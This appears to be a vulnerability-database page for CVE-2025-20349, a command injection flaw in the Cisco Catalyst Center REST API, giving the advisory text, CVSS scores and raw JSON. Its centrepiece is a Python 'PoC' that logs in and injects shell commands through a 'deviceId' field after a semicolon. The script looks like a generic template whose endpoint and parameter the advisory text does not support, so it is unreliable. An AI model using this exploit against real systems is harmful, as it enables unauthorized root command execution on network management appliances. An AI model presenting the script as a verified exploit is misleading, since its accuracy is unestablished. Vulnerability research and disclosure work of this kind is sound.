Security Vulnerability Report
中文
CVE-2025-20349 CVSS 6.3 MEDIUM

CVE-2025-20349

Published: 2025-11-13 17:15:46
Last Modified: 2025-11-19 17:07:43

Description

A vulnerability in the REST API of Cisco Catalyst Center could allow an authenticated, remote attacker to execute arbitrary commands in a restricted container as the root user. This vulnerability is due to insufficient validation of user-supplied input in REST API request parameters. An attacker could exploit this vulnerability by sending a crafted API request to an affected device. A successful exploit could allow the attacker to inject arbitrary commands that would then be executed in a restricted container with root privileges. To exploit this vulnerability, the attacker must have valid credentials for a user account with at least the role of Observer.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:cisco:catalyst_center:*:*:*:*:*:*:*:* - VULNERABLE
Cisco Catalyst Center (具体版本需查阅官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-20349 PoC - Cisco Catalyst Center REST API Command Injection # Note: This PoC is for educational and authorized testing purposes only import requests import json import sys TARGET_URL = "https://<cisco-catalyst-center-ip>/dna" USERNAME = "[email protected]" PASSWORD = "password123" def get_auth_token(): """Authenticate and get API token""" auth_endpoint = f"{TARGET_URL}/api/system/v1/auth/token" try: response = requests.post( auth_endpoint, auth=(USERNAME, PASSWORD), verify=False, timeout=30 ) if response.status_code == 200: return response.json().get("Token") else: print(f"[-] Authentication failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def inject_command(token, payload): """Send crafted API request with command injection payload""" headers = { "X-Auth-Token": token, "Content-Type": "application/json" } # Vulnerable endpoint - parameter injection point exploit_endpoint = f"{TARGET_URL}/api/v1/network-device" # Malicious payload with command injection data = { "deviceId": f"12345;{payload}", "command": payload } try: response = requests.post( exploit_endpoint, headers=headers, json=data, verify=False, timeout=30 ) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): print("[*] CVE-2025-20349 - Cisco Catalyst Center Command Injection") print("[*] Target:", TARGET_URL) # Step 1: Authenticate print("\n[1] Authenticating with Observer role credentials...") token = get_auth_token() if not token: print("[-] Failed to obtain authentication token") sys.exit(1) print("[+] Authentication successful") # Step 2: Send malicious request print("\n[2] Sending crafted API request with command injection...") # Example: Execute whoami command payload = "whoami" response = inject_command(token, payload) if response: print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") print("\n[!] This PoC demonstrates the vulnerability. Use responsibly.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20349", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:45.817", "lastModified": "2025-11-19T17:07:43.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the REST API of Cisco Catalyst Center could allow an authenticated, remote attacker to execute arbitrary commands in a restricted container as the root user.\r\n\r\nThis vulnerability is due to insufficient validation of user-supplied input in REST API request parameters. An attacker could exploit this vulnerability by sending a crafted API request to an affected device. A successful exploit could allow the attacker to inject arbitrary commands that would then be executed in a restricted container with root privileges. To exploit this vulnerability, the attacker must have valid credentials for a user account with at least the role of Observer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:catalyst_center:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.7.10", "matchCriteriaId": "5C88A587-FFF4-493C-823F-F958374FC6B6"}]}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dnac-ci-ZWLQVSwT", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}